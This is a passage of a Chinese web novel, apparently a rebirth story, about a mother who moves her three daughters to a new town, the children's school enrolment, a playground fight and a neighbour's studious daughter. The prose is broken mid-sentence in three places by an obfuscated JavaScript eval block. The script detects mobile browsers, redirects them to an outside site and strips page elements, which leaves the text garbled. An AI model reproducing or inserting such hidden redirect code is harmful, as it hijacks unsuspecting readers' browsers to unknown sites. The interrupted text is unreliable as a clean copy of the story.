张桂花重新找的男人是广东本地的,两人一起在工地旁边开餐馆,生意很不错 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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刘秀珍非常心动,在家里,高翠英不好亲自登门骂人,但是可以在村里别的多事老太太老头子耳边煽风点火,那些吃饱了撑的老家伙路过家门口时,只要看见刘秀珍在院坝里做事,就会时不时地嘲讽她生不出儿子。 跟这种人吵架太累了。 陆平从水缸里舀了点水在脸盆里,走到门背后去拿帕子,“我们搬走了,那爸妈和地里的活怎么办?别人会怎么看我们?” “那你有没有想过我怎么办?你几个女儿怎么办?”哪怕两个老家伙多次不做人事,陆平也狠不下心,刘秀珍早就看透了,“我生陆安安,陆果果,你爸妈你哥你嫂合起伙要卖你女儿的事你都不记得了吗?” 陆平手上的动作一顿,继续擦脸。 “我是一定要搬走的。”刘秀珍吸了一口气,擦掉眼角的泪水,“你不在家,你什么都不知道。这一年来,你不知道你爸妈私底下喊了多少人来骂我来跟我吵架。过年的时候,你要我去买肉给他们,我去买了,他们两个把肉分给你哥,自己没什么吃的,我想着大过年的,又给他们买了点。他们两家人要一起过年,你家陆易安大年三十那天经过老房子,你爸又咒又骂,让她赶紧滚。结果呢,过年我带着三个孩子去街上过年,他们巴不得我们几个滚,我们过完年回来,你知道你爸妈看见我们回家,大年初一到初三在家门口咒了我多久吗?我那几天,全是被你妈咒骂人的声音吵醒的。这些我都可以忍,你知道半个村子的人被你爸妈糊弄成什么样了吗?我去地里都要被人指指点点,就因为我们家没生儿子。” 一大段话里没有任何修饰成分,所有异样的目光和辱骂陆易宁都一起和母亲经历。 光是扔地里的石块去砸嘴巴臭的人她就扔了七八个。 陆平心里有数,这些事他也经历过。前天他在家门口给孩子洗衣服,村里赶集回家的男人路过看见,都在嘲笑他。 他们说没什么好洗的,那几个女娃值得穿什么干净的衣服。陆平当时只是随口说就是女娃才要给她把衣服洗得干净,男孩他才不洗。 那群人说他憨脑壳,他也懒得和他们讲理。 浪费时间跟这种人吵架,不值得。 相较于妻子,他遭遇的白眼就少很多了。 “我想想吧。”陆平说。 趁热打铁,陆易宁跑出里屋,坐在刘秀珍身边,看着陆平说:“倩倩阿姨说她家那里的学校好,初中里能有十几个学生考进市一中,其中一大半都是从当地的小学读出去的。我妈说想让我去那边上小学。我姐在这成绩差,说不定去那就能好了呢。” 陆平开始动摇了。 24. 二十四章 在陈英的大嘴巴下,陆松和高翠英知道了刘秀珍想搬家的事。 无论她要做什么,两个老家伙都看不顺眼。从知道了刘秀珍要搬家的那一刻起,高翠英就每天在家门口骂,希望她带着那几个赔钱货赶紧滚。 陆平不在家,陆易安就拉着陆易宁隔着竹林和她对着骂,双方你来我往对照几天后,一家人成功搬走。 陆平想把自己名下的地送给大哥一家,但是陆远瞧不上陆平分得的那些高坡偏地,不稀罕。刘秀珍就做主,将所有的地免费给刘顺枝和陆大军马金凤两家人种。 听到陆远说不种自家的土地那一刻,陆易宁高兴得在心里打鼓。 不稀罕好啊,以后最好也别打电话来,明里暗里的要那几块风水宝地。 * 风阳镇位于方安县城周边,方安县是市里近几年的重要扶持对象,政府在教育,旅游,工业,就业几个方面不少投钱。 陆易宁清楚地记得,第一世时,父亲经常感叹,如果不是母亲,他指不定还在家里种地呢。 这一世,摆脱了老家的桎梏,守得云开见月明了。 赵倩家位于街口,隔壁邻居原本是一对老年夫妻,因为儿子在浙江做生意,赚了钱,所以被接过去享福了。老家房子空出来,赵倩帮忙联系了一下,他们同意租出去,租金也不高。 房子是一栋两层的红砖小楼,楼上楼下各两间房,后面还有一个比较宽敞一点的院坝跟赵倩家的连着。两家人在院里晾衣服,晒东西都比较方便。 院坝后方是几个圈,赵倩家院坝后面的圈她喂得有鸡,陆家这边的两个圈则是空的,里面堆满了原主人捡来的不少废品。 家门口是一条不宽的水泥路,周边有很多农田,也有几户人家,不是在田边就是在水沟边。家门口的农田对面是条宽阔的大马路,马路上也住着几户人家,修车的,卖零食的,卖水果的…… 大马路连着街道,几分钟就能走到街上去。 陆家搬来当天,郑松给砖厂拉货去吉长,卸完货,顺道把陆家一家子人全拉回去。 每次听见车子经过的声音,赵倩都会停下手头的活儿出门看。 在门口等了几次没等着人,又回家继续忙事。 赵倩本想拿出最好一面来迎接老邻居,却阴差阳错被一家子人看见最鸡毛的一面。 陆易宁从车上跳下来时,赵倩并不在家,一家人在她家门口坐了一会儿,才听见一阵哭声。 田对面的大马路上,赵倩手拿笤帚打郑煦,跟抽陀螺一样在马路中央转来转去。 母子二人嘴里骂骂咧咧的,全是脏话,陆易宁在家门口都能听见。 看来郑煦那傻小子成功改头换面了。 “姐?”赵倩隔着干田看见刘秀珍正在家门口等他,不打孩子了,提着郑煦的耳朵连忙往家里赶。 陆易安跑去二楼上看自己和妹妹的房间,里面有张木床,一个不锈钢焊接的衣柜,旧是旧了一点,但是墙皮没有脱落,还比老家宽,这就很值得高兴了。 “陆安安,下来喊人!”刘秀珍在楼下扬声道。 “姐,你们什么时候到的?”赵倩松开捏着儿子耳朵的手,瞪了郑松一眼,“你看你,就让人干坐着,家里我切得有西瓜,你去端来。” “是哦,我昨天买了西瓜回来的。”郑松后知后觉地进屋。 “我们也才刚到。”刘秀珍将贴着自己的小女儿推出去,“果果,这是倩倩阿姨,他旁边的小男孩是阳阳哥哥。” 陆果果对着赵倩笑了笑,害羞得将脑袋贴在母亲的后背上。 “哎哟,果果怎么长变样了?”赵倩跑上去逗陆果果,“小时候跟个小黑炭一样,现在你看,这眼睛又大又圆的,睫毛又长又黑,好可爱啊!” 郑松端了西瓜出来,每人拿了一块西瓜。 陆平吐掉嘴里的西瓜子儿,“你们不知道,我从广东回来那天看见她在门口玩,我差点认不出来,我还以为是村里哪家的孩子跑到我家门口。” “果果确实长开了。”郑松笑道:“我记得满月那天,我们去你家,我偷偷说你家生了块腊肉,被赵倩掐了几爪,胳膊都紫了。” 赵倩腾出手给了他一巴掌,“本来就是,你说得也太难听了。” “这有什么。”刘秀珍差点笑喷了,“别说郑松了,她出生那天,陆安安还说我把她妹妹当腊肉熏过了。” 一阵笑声过后,陆易宁中规中矩地喊了人,赵倩身旁的郑煦刚哭过,屁股挨了赵倩一巴掌,实在没心情叫人。 “倩倩阿姨!”陆易安从楼上飞奔下来,抱着赵倩的腰撒娇,“我终于见到你了。” “那安安以后在倩倩阿姨家住好不好?” “好啊!”陆易安倒是答应得爽快。 “郑阳阳,快叫人啊!”赵倩推了郑煦的脑袋一掌。 郑旭凶巴巴地盯着赵倩,“你让我喊,我偏不喊!” 说完,就溜进家。 “郑阳阳,你怎么给妈妈说话的?”郑松板着脸,声音穿透两间屋子,飘进院子里,“怎么那么没礼貌!” “要你管!” 郑松一下急了,刚起身要去揍他就被陆平拉下来,“孩子嘛,打得多了,不行。” 赵倩看向院坝,一脸疲惫,“哎哟,你们不知道,我刚才在杀鸡,他硬要把里面的卵黄塞嘴里,我一骂他,他就说乱说脏话,还说要跑去他外公家告状。我心里气不过,就揍了他一顿。” 刘秀珍说:“阳阳以前不这样啊。” 郑松道:“我跟她妈去广东打工,没带他去,他外公外婆又宠他,跟附近那些大孩子玩,什么有的没的都学。” “我们回来一个月了吧。”赵倩有些心酸地说:“他爸爸他倒是喊,就是没喊过我一声。” 陆平安慰道:“没事的,他现在心里还有一股气,到时候会喊的。” 陆易宁咬了一口西瓜,郑煦现在不喊赵倩,要不了多久,等赵倩进厂上班,那家伙哭得不知道有多厉害。 以后天天妈妈妈的叫,有够烦的。 * 八月底,陆平和郑松收到建材厂的录用通知,刘秀珍和赵倩也在忙着纺织厂的招聘。 大人们忙完生计,还要管孩子上学的一切事宜。 陆易宁和郑煦直接去读学前班,报名只需要交学费登记信息即可。陆易安转学就比较困难,需要回老家学校办理转学证明,在新学校就读还需请学校的职工签字推荐,才能报名。 兜兜转转找了一圈关系,送了几件礼品,陆平 才拿到陆易安的入学券。 虽然转了学,但是学校里的一位老师说,陆易安最好去报名时带上暑假作业,好让相应班级的老师判断一下她的基础。 一个多月没怎么碰过作业的陆易安被关在家里做了几天作业,暑假作业册上的题她压根看不懂,加上没有答案,刘秀珍来检查时,一半的作业册全是瞎写的。 刘秀珍教她做了十几页,气得肺都要炸了。 “加法加法,你掰着手指头数,6+5怎么能得1呢,你把那个10吃了吗?”刘秀珍拿橡皮擦掉陆易安写上的数字,“口算题你都做不来,你顶着脑袋在学校是学什么了?明天去报名,老师一问三不知,你怎么去读二年级啊?” 陆易安委屈巴巴地反驳,“老师又没教过。” “老师没教过?那我没教过吗?”刘秀珍将陆易安作业本上的铅笔字全擦了,“我每天晚上教你的时候,你耳朵是在吹气吗?” 远处的天空中各种颜色交辉相应,音乐声乘风传过来,赵倩拉着郑煦跑到陆家门口,“姐,今天晚上街上好像有人跳舞,我们看热闹去?” 刘秀珍垂头看了眼陆易安,她的心思完全不在作业上。 “好,我们去。”刘秀珍手指敲打在陆易安面前的作业纸上,“你不能去,我看你整个假期玩得太安逸了,今天晚上,我回来,这一面做不完,你就等着吃面条吧。” 陆易安气鼓鼓地坐回去,“不去就不去。我才不稀罕!” 陆果果在楼上睡觉,陆易宁跟着刘秀珍一起去了街上。 跳舞的地方有点偏,再走个两百米就要到中学门口了。 他们到时,舞台旁边已经围满了人。 刘秀珍特意把陆易宁抱起来看。十几块木板搭建的台子上,几个爆炸头画着浓妆的女生跳着看不出什么动作的舞蹈,手在空气中抓了几下,一个转圈,台下的人就非常应景地鼓掌。 音响里开始播放郑源的《一万个理由》,上来唱歌的男主持人唱到一半,就破了音。饶是如此,观众们笑了一会,又开始用力鼓掌。 短短的几个节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438382|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目表演完,终于到了乡镇晚会赞助商的重头戏,推销家用电器。 * 成功进厂,陆平和郑松还有家附近的几个男人约着去喝酒。 陆平酒量不行,喝了几口就上头了。 郑松和他回到家时,两个人家里都是安安静静的。 郑松头有点晕,回家睡觉去了。陆平脸红脑胀,精神得很,爬去二楼,看见小女儿在睡觉,又下楼。 “安安,你妈妈呢?”陆平拉开门上的扣环,推开门,走进屋,只看见坐在茶几旁边用铅笔给橡皮擦画麻子脸的陆易安。 “爸爸,我妈不让我跟她出去看人跳舞。”陆易安的眼泪说出就出,“她把我关在家里写作业,我写不完就不能出去。” “妈妈是为你好。”陆平温柔地抚摸着女儿的脑袋。 “但是我做不来!”陆易安又说,“我妈说她回来我做不完的话,我又要吃面条了。” 陆平拉来一张椅子坐下,“哪里不会,爸爸教你。” 半个小时后,喝上头的陆平成功被忽悠坐在陆易安的位置上,手中的铅笔飞一般地在作业本上书写。 陆易安跑去隔壁的房间拿了一个苹果过来,一边吃一边给陆平加油。 陆平信心大增,以一分钟一页的速度,三下五除二就把女儿的作业完成了。 刘秀珍回到家时,他已经上楼去睡觉了。 刘秀珍随便检查给陆易安留的任务。 很好,她布置的那一面题目完成得还不错。 检查完,她赶紧和赵倩试刚买回来的电磁炉。 第二天,早上九点,学前班的学生开始报名。 陆易宁和郑煦排的位置在前,没一会就成功登记了信息。 忙完这边,刘秀珍又带着陆易安去二年级的班级。 二年级的老师在检查班上学生的暑假作业,陆易安是转来的,只能等班主任忙完,才有时间管她。 刘秀珍和赵倩带着孩子等在教室门口,教室里戴着黑框眼镜的男老师看见她们,走出教室,“是杨老师推荐的陆易安同学的家长吗?” “是是是。”刘秀珍将陆易安从身后扯到身前,“老师你好,我是陆易安的家长,我家陆易安以后要麻烦你了。” “没什么。”男老师问:“有她做的作业习题什么的吗?我先看一下她的基础,如果能跟得上的话,那报完名就留在我们班上。” “好好好。”刘秀珍从书包里拿出陆易安的练习册,双手递给老师。 男老师看语文练习册时,面无表情地啧啧两声,翻看数学练习册时,直接摇头。 “她的基础很薄弱啊。” 刘秀珍连忙道:“她的基础差是差了一点,但是她头脑灵活,跟得上的。” 老师神色凝重地摇头,“不行,她是没有一点基础,别说二年级了,我看一年级都够呛。” 刘秀珍仿佛被雷劈了一般。 “而且,孩子基础是一个问题,但是你看这个,我都不知道是态度不行还是……”老师将练习册后部分摊开,“再怎么不会写,也不能在数学作业里写语文吧。” 妥妥地开始怀疑智商了。 陆易宁踮起脚瞄了一眼,无奈地叹气。 第一世陆易安就留过级,这一世大概率也不例外。 “太阳大,地球小,地球绕着太阳跑。地球大,月亮小,月亮绕着地球跑。”老师哭笑不得,“你看,她写的还是我们读小学时背的课文。” 刘秀珍看着上面歪歪斜斜的字,越看越不对劲,“老师,不好意思啊,这可能是她爸爸昨天晚上喝醉酒瞎写的。” 老师连续翻了几篇,“五六篇的大题,空白地方不是默写地球和月亮就是床前明月光。而且,口算题全是错的。” 赵倩上前看了两眼,捂住嘴憋笑道:“可能陆哥的文化程度就到这了,写不了别的。” 刘秀珍尴尬地陪笑,只想找个地缝钻进去。 昨天晚上就该好好检查,去试什么电磁炉嘛。 陆易安实在没什么底子,最后只能留级。 刘秀珍心里跟明镜似的,但是一回家,就把陆易安留级的事怪在陆平喝酒的头上。 陆易宁十分赞同母亲甩锅的做法。 因为从此以后,父亲就没喝过酒,成了一个烟酒不沾的人。 25. 二十五章 建材厂生产砖瓦,目前还在材料配方实验以及产线实验阶段,说不上忙,需要三班倒。 纺织厂的员工需要培训,前一周,不需要倒班,工人进了产线后,就是两班倒,早八晚八。 建材厂每周倒一次班,纺织厂每半个月倒一次班。 刘秀珍和赵倩约好倒班的时间错开来,这样她们两人中休白班的可以给孩子做饭。 风阳镇的街道是新修的,镇上的小学并不在街上,而是在以前的旧街道口。 虽然在同一个镇上,但是距离很远,弯弯绕绕,能有两三公里。 从家里去学校要走至少三十分钟,所以陆易安每天早上都会用饭盒装上自己和妹妹的午饭,中午再去学前班教室喊妹妹吃饭。 陆果果没上学,反正白天会有一个大人在家。父母在家时,她就待在家,隔壁的赵倩或者郑松在时,她就跑去隔壁。 大人在楼上睡觉,她就一人在楼下玩,看电视,打电话,拿到什么玩什么。时间久了,她也能通过家里的座机交到了一群好朋友。 一到下午五点,她会准时地出现在大马路与水泥小路的交界处等哥哥姐姐放学。 …… 小学的知识点实在没什么挑战性,每天几分钟把作业写完,就只有玩了。 玩?这个字不符合这一世有上进心的陆易宁。 重生中大奖,玩股票暴富这种爽文剧情不会在自己身上发生。对于一个普通人,不求翻身农奴把歌唱,能做的只有学习,通过高考,考一所好的大学。 老师在黑板上教读拼音,陆易宁坐在中后排的位置,盯着黑板,两眼空空。 家里面现在连卫星电视都看不了,更别说装网线了来看网课了。赵倩阿姨开网吧的事还要等几年,让父母买电脑简直是痴人说梦。 买高年级的教材自学?不现实,钱不够,镇上的书店也未必有相应的书。 陆易宁突然想到了,第一世时,田对面有对跟爷爷奶奶住的姐弟经常来家里看电视,跟她玩得不错。 姐弟俩中的姐姐目前在县一中读高二,名叫周丽,是家附近有名的优秀学生。弟弟叫周星,现在读五年级。 县一中是寄宿学校,周丽姐只有放长假的时候才会回家。 高中三年的日子不好过,学业难得要命,陆易宁自知普通,以前要拼搏三年,这一世,她打算准备十二年。 前两世积累的学识外加十几年的准备还怕拿不下个小小的高考? 眼下中秋节快到了,要想以后能有点出息,必须抓紧周丽姐的大腿。 陆易宁已经开始幻想自己在北大的未名湖畔泛舟了的情景了,微风吹拂,沁人心脾。 半截粉笔头准确无误砸在脑门上,陆易宁哎呀一声,眼神聚焦,成功看到语文老师严肃的一张脸。 “老师,我不发呆了。” 陆易宁态度诚恳,语文老师也没骂她,继续讲课。 坐在左后方的小男生看见陆易宁被吓了一跳,扭头和同桌郑煦笑话陆易宁,“你看见了吗?她刚才被老师打的时候,脸上的肉都是抖的。” “我看见了。”郑煦咧着嘴笑,“我跟你说,她脸上的肉duangduangduang的,我妈最喜欢捏了。” “你捏过吗?” 郑煦摇头,“我没捏过,我妈看见会骂我的。” “那我们放学后,捏一下试试。” 一场针对陆易宁肉脸的邪恶计划即将展开。 学前班放学早,比别的年级少上一节课。 一般放完学,学前班的部分孩子都会在学校里玩,一边玩,一边等高年级的哥哥姐姐放学。 陆易宁每天放学都会等陆易安,今天也不例外。 最后一节课的下课铃声响起,郑煦收拾好书包走到陆易宁桌边,“陆七七,我们在操场上滚铁环,你要玩吗?” “好啊。”陆易宁点头。 反正又没什么书可以看,教材上的那些内容她不到二十分钟就全看了,没意思,还不如去玩。 最后一节课是陆易安最喜欢的体育课,听见下课铃声,陆易安就开始收书,背着书包到操场,一放学就回家。 书包还没收拾好,她的小伙伴就跑进教室,“陆易安,我看见你妹妹在操场上被人打了。” “啊?”陆易安猛地站起来。 是哪个欠揍的家伙敢欺负她妹妹,她妹妹只有她能打。 陆易安走到教室后面的卫生区,提上扫帚,不由分说,连忙往操场上赶。 “肥肉坨坨肉duangduang,陆易宁爱吃肥肉不吃糖……” 只是因为不给捏脸,陆易宁就被以郑煦为首的五个学前班学生围着念经。 这就是从小开始培养霸凌精神吗? 怕学前儿童,还不至于。 陆易宁牢牢地看着郑煦,没有丝毫怯懦,“郑阳阳,你想大晚上被你妈妈从床上揪起来揍吗?” “哎哟,肥肉坨坨要当告嘴婆啦!”郑煦吐出舌头略略略,“我告诉你,我才不怕。” “那我可以先帮你妈揍你一顿。” 陆易宁深吸一口气,操场上没有老师,不能告状,只能动手了。 陆易安提着扫把赶到时,陆易宁正和一群男生扭打在一块。 她妹妹哪能受人欺负,陆易安二话不说,加入战斗。 身高优势,外有工具加持,陆易安没两分钟就把五个小男生由得哇哇哭。 陆易宁的头发被抠得乱糟糟的,陆易安贴心地用手指给妹妹理好头发,拿着扫帚挡在她面前,“谁刚才打了我妹妹?挨个上来道歉!” 在陆易安气势汹汹的威胁下,一个个地排着队给陆易宁道歉,并发誓不再欺负她。 除了郑煦。 “我告诉你们,以后谁敢叫我妹妹肥肉坨坨,我就把谁捶成骨头渣渣!” 陆易宁得意地站在陆易安身后,小孩姐的战斗力她是认可的。 郑煦的嘴巴很硬,即使兄弟们道了歉得以离开,独留他一人,他也不向恶势力屈服。 “郑阳阳,你也要道歉。”陆易安抬起扫帚,指向他,“我们的爸爸妈妈是好朋友,不代表你可以欺负陆七七。你要是不道歉,我连上次你从田里抓黄鳝来吓陆果果的事一起算!” “我才不道歉,不就是捏个脸吗?陆七七小气鬼!”郑煦强忍着眼泪,奈何喊了一句之后,直接破防了,眼泪大颗大颗地掉。 陆易安来气了,一扫帚扇他脸上,“死猪不怕开水烫,我不把你的骨头捶成渣我明天上你家去住!” 陆易宁拉不动陆易安,最后还是来操场上体育课的老师吼了几声,陆易安才停下。 一放学,孩子打架的电话就打到家里。 赵倩和陆平今天上的是白班,郑松和刘秀珍上夜班。 郑煦跑得快,回家向郑松告完状又向刘秀珍告状说陆易安要把他的骨头捶成渣渣。 陆易安回家时,免不了被母亲大人揍一顿。 “你今天厉害得很啊!”刘秀珍二话不说,先抽了陆易安的屁股两竹片,“打了五个学前班的学生,还要把郑阳阳捶成骨头渣渣!” “谁教你的?” 刘秀珍一声呵斥,陆易安本能地抖了一下。 “姐,是郑阳阳喊人先欺负你家七七的。”郑松在门口敲门,“你别打安安了,安安也是帮妹妹啊。” 陆易宁抓着刘秀珍手里的竹片,“对啊,妈,是他们先给我编绰号的。” 刘秀珍跟没听见一般,有电话打来,也顾不着接,用力抽出竹片,又给了陆易安一竹片。 电话铃声一直响个不停,陆易宁抱着刘秀珍,陆易安只顾着哭,只有躲在门后的陆果果去接了电话。 陆易安擦掉眼泪,“我没错,是他们几个先打陆七七的,还骂陆七七是肥肉坨坨。我打他们怎么了,要等陆七七去上学天天被他们欺负吗?” “你!”刘秀珍放下竹片,“你的嘴巴还凶得很啊!” “就是他们先叫我肥肉坨坨,我姐才帮我的。”陆易宁走到刘秀珍面前,抱住她双手。 “帮妹妹也不能太用力打人啊,陆安安!”刘秀珍动弹不得,她打陆易安除了她揍人之外,主要的原因是她下死手。 老师打电话来时,就说她把人往死里揍。 还好人家郑松不计较,要是打到别人家的孩子,她要被讹死。令她生气的还有一点,最近一个月,电话总是停机,每两个星期就要去交一次话费。 不过比起在学校打架,电话停机算什么事儿。 “去给郑阳阳道歉。”刘秀珍放下手中的竹片,打开门。 “我不去!”陆易安看见在门口笑话她的郑煦,气不打一处来,冲出门就跑去二楼房间,并将门锁上。 郑松拉着刘秀珍,她才免了下一顿打。 “你还先气上了!”休息了几分钟,刘秀珍又提着烧火棍上楼,在门外用力敲门,“你到底乱打电话给谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438383|169308||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了?一个月用掉那么多话费!” 陆易宁跟在她身后上了楼,挡在门前,“电话不是我姐打的,是陆果果打的。我姐在学校打人也是那群人先欺负我,你怎么总是遇到事不找别人的原因,就先打我姐呢?” 刘秀珍敲门的动作停了下来,陆易宁拉住她的手将她往楼下带,“话费用得多是因为陆果果乱打电话,不然,你下去看看就知道了。” “吃莽莽了。” “吃了豆腐。” “妈妈打姐姐,姐姐哭。” 陆易宁和刘秀珍在门口听着,陆果果一句一句地对着电话说普通话。 她的普通话是陆易宁和陆易安教的,刘秀珍听了一会儿,发现自己可能误会了大女儿。 “陆果果经常在楼下乱打电话,有几次你在家里经常听见电话响,没一会就断了,就是她乱拨过去,别人回拨的。”陆易宁说:“陆果果现在是在跟她的电话朋友说话,她有次打给了一个在湖北读书的大学生,跟人家聊上瘾了,那个大姐姐和她的室友隔几天就会打电话来找陆果果。” “姐姐拜拜。”陆果果小手挥了挥,挂掉电话,两只大眼睛无辜地看向门口盯着她的母亲和姐姐。 “你看,所以你又误会我姐了。”陆易宁靠着墙,仰起头对刘秀珍说:“你需要向她道歉。” “道歉?”刘秀珍仿佛听到了什么奇怪的词。 “我就知道。”陆易宁叹了一口气,“妈,我知道你会后悔的,要不然你给我点钱,我去街上给姐买一屉小笼包,我帮你转述歉意。” “她打人还值得吃小笼包?”刘秀珍理不直起也壮地走进屋。 没一会儿,又拿了五块钱给陆易宁,让陆易宁上街。 陆易宁上楼,替刘秀珍说了很多软话,小笼包陆易安吃了,就是不肯和母亲说话,第二天放学回来她才肯接母亲的话。 晚上八点半,赵倩下班回来,听到邻居谈及此事,饭都没来得及吃。 不一会儿,郑煦的哭声从马路上飘到家门口,从家门口传到院子里。 郑煦在家门口面对田野罚站,赵倩亲自去陆家二楼上将姐妹俩喊下来,让郑煦当面道歉。 在赵倩手中扫帚的威逼下,郑煦向陆易安道了歉。 陆易安难得不记仇,接受了。 面对陆易宁,他张不开嘴。 明明就是她先动手打人,为什么要自己道歉? “快点!”赵倩给了他肩膀一巴掌,“向陆七七道歉。” 郑煦不为所动。 陆易宁乖巧地抬起头看向赵倩,“倩倩阿姨,可能他害羞吧,你在这,他不敢。” 郑煦没说话。 最后,赵倩带着陆易安回家,只有陆易宁和郑煦站在田边。 “现在只有我们两个人,你可以说了。”陆易宁的脸上挂着微笑,很和善。 郑煦看她冲着自己笑,心里倔强的防线开始被击溃了。 “对……对不起,陆七七,我不该笑你是肥肉坨坨。” 他的声音很小,陆易宁听见了。 陆易宁笑嘻嘻地说:“我听见了,但是我不接受。” 耍人玩呢? 郑煦不服气地说:“我管你接不接受,反正我道歉了。” 第一世,眼前的家伙没少欺负自己,这一世,陆易宁直接反过来,“我只接受你求饶,不接受你道歉。” 无聊的时候,逗小孩玩挺有意思的。 “我才不会!”郑煦扔下这句话就跑回家了。 陆易宁慢慢走到家门口,月光洒落在门口的水泥地上,今晚的月亮真亮啊… 上一世,刘秀珍搬到风阳镇时,郑煦和陆易宁即将升入二年级。那个时候,热闹了半个月的北京奥运会已经结束。 临近开学,郑松拉货发生意外离世,他在学校被同学嘲笑没有爸爸,深有体会的陆易宁去帮他,反被同学嘲笑自己的爸爸不是亲爸,自己也是没爸的人。 陆易宁把那群人赶走后,没出息地蹲在墙角大哭,反而是郑煦来安慰她。 同病相怜的两人因此成了好朋友,结果初二下学期期末,跟第一世一样,郑煦意外触电,左手被截肢。赵倩心神俱伤,关了街上的店面,带着他去浙江找他姨妈,直到刘秀珍带着孩子搬回杨长也没回来过。 门口的干田像是被铺了一层白纱一般,陆易宁捡起门口的石子儿用力朝田里扔过去。 这一世,他们最好不要当同病相怜的好朋友。 26. 二十六章 2006年,县城里的公交车少得可怜,这时候还没开通小镇到县城的公交专线。从小镇去县城,需要上街搭乘相应的班车,一直坐到县城车站。 街上的乘车点到县城车站的整条线路路况并不好,坑坑洼洼的,有一部分还是泥路。目前在修路,遇上施工,车子要等半天才能过,途中还要绕开河道走,绕来绕去,少说也要两个半小时。 周丽家住在田对面的马路边上,她和弟弟跟爷爷奶奶住一块。郑煦认周丽的弟弟周星做大哥,平日里,周星经常领着周边的小男孩们一块玩。 有郑煦和周星的一层关系在,陆易宁上周就专门领着陆果果,跟着郑煦上周大爷家串门。 周大爷的妻子杨老太太身体不好,很少出门,又喜欢热闹,家附近的孩子们来家里玩,她都是很欢迎的。 串了三天门,陆果果凭借一双大圆眼外加萌嘟嘟的外表,成功变成了杨老太太的心上宝。 八月十五当日,陆易宁并没有等来周丽,而是坐在教室里上课。正当她以为学校违规瞎补课时,发着发着呆,她才突然记起来中秋节在2006年还不是法定节假日。 算了,国庆节就是下周一,周丽姐肯定会回来的。 家附近与陆果果同龄的孩子也有几个,但几乎都是男孩子,他们报团玩,陆果果插不进去。 由于陆易宁经常带她去田对面串门,陆果果成功交到了自己的第五个的朋友——杨老太太。 两岁以前,陆果果看到的老年人都是村里诸如陆天松和高翠英这类人。他们虽然年纪大,但是大脑却跟没发育好一般,经常轮番上门来骂人,和刘秀珍吵架。 陆果果就是他们用来打击刘秀珍生不了儿子的重要工具之一。 陆果果讨厌除了外婆之外的所有老年人。搬来风阳镇的前半个月,赵倩的父母来家里,没少逗她玩乐,她从来不理人。 加上陆易宁的引导后,她才慢慢放下戒心。 第一眼见到杨老太,她就觉得躺在床上,慈眉善目对着她笑的老太太是好人。 杨老太会给自己绑小辫,会拿花生牛奶给自己喝,玩脏了她会笑呵呵地给自己擦脸。 在陆果果心里,杨老太太已经是除外婆之后第二好的老人了。 陆易宁和陆易安一去上学,陆果果一天之中大半时间都是在杨老太家里。两个人一起听山歌,看碟片,在家门口晒太阳,家里做了什么好吃的,陆果果都会端一碗过来给杨老太和周大爷。 陆平和刘秀珍从此在陆果果这里有了另一个称谓,帅哥爸爸,花心妈妈。 夫妇俩第一次听见女儿这样喊他们时,没反应过来,直到赵倩说了一句“花心婆娘爱帅哥”以后,俩人才哈哈大笑。 周日放学,难得放长假不用急着做作业,陆易安跟着郑煦和周星打算去街上巡视一圈,搬来这么久,还不清楚街上的零食店铺和包子铺里的货品质量,这不符合陆易安的人生信条。 陆平和刘秀珍上的都是白班,还没下班。陆易宁回到家时,隔壁的郑松和赵倩还在补觉。在两家房子里都没瞧见陆果果的身影,陆易宁只能去家对面找。 果不其然,周大爷一打开门,她就看见陆果果坐在他家的饭桌旁吃晚饭。 人家亲孙子都还没回家吃饭,你倒先吃上了。 “七七,快来吃饭啊!”周大爷很热情,放下碗筷就去给她拿碗盛饭。 陆易宁谢绝后,跑回家等了一会儿才敢去周家找人。 她再次去时,周丽已经到家了。 周丽吃完饭,收拾碗筷时,还不忘逗一会儿陆果果。陆果果则是羞答答地躲在杨老太太身后,时不时地瞄她一眼。 “七七,快进来呀!”杨老太太坐在床边,家里的电视机里正放着山歌。 周丽将剩下的菜放进橱柜,回头看了门外的陆易宁一眼。 她的脸上一如既往地带着微笑,陆易宁走进来,礼貌地问了一句:“你就是小丽姐姐吗?” 一个从未见过面的小孩居然会知道自己的名字,周丽走到陆易宁面前,摸了摸她的头,“对啊,你怎么知道我的名字啊?” “我叫陆七七,杨奶奶跟我说起过你。”陆易宁把陆果果唤到跟前,“陆果果,快喊人。” 陆果果捂着嘴吧,羞赧地笑了,“小丽姐姐。” 周丽问:“你们是两姐妹吗?” “陆七七,陆果果,肯定是两姐妹啊。”杨老太太说:“他们一家是上个月新搬来的,那时候你刚去学校没几天。你在街上碰见跟着你弟和郑阳阳出去逛的那个小姑娘,是她们两个的姐姐,叫陆安安。” 周丽想起刚才在街上揍周星时,被一个小女生拉住手,请求不要打她的星星哥哥。 那个小女孩说她那么漂亮,打人会变丑时的样子很好玩。 周丽点点头,“原来是三姐妹啊!” 真是三姐妹都有不一样讨人爱的点。一个活泼嘴巴甜,一个有礼貌,一个可可爱爱的,光是呆呆地站着就想把她打包带走。 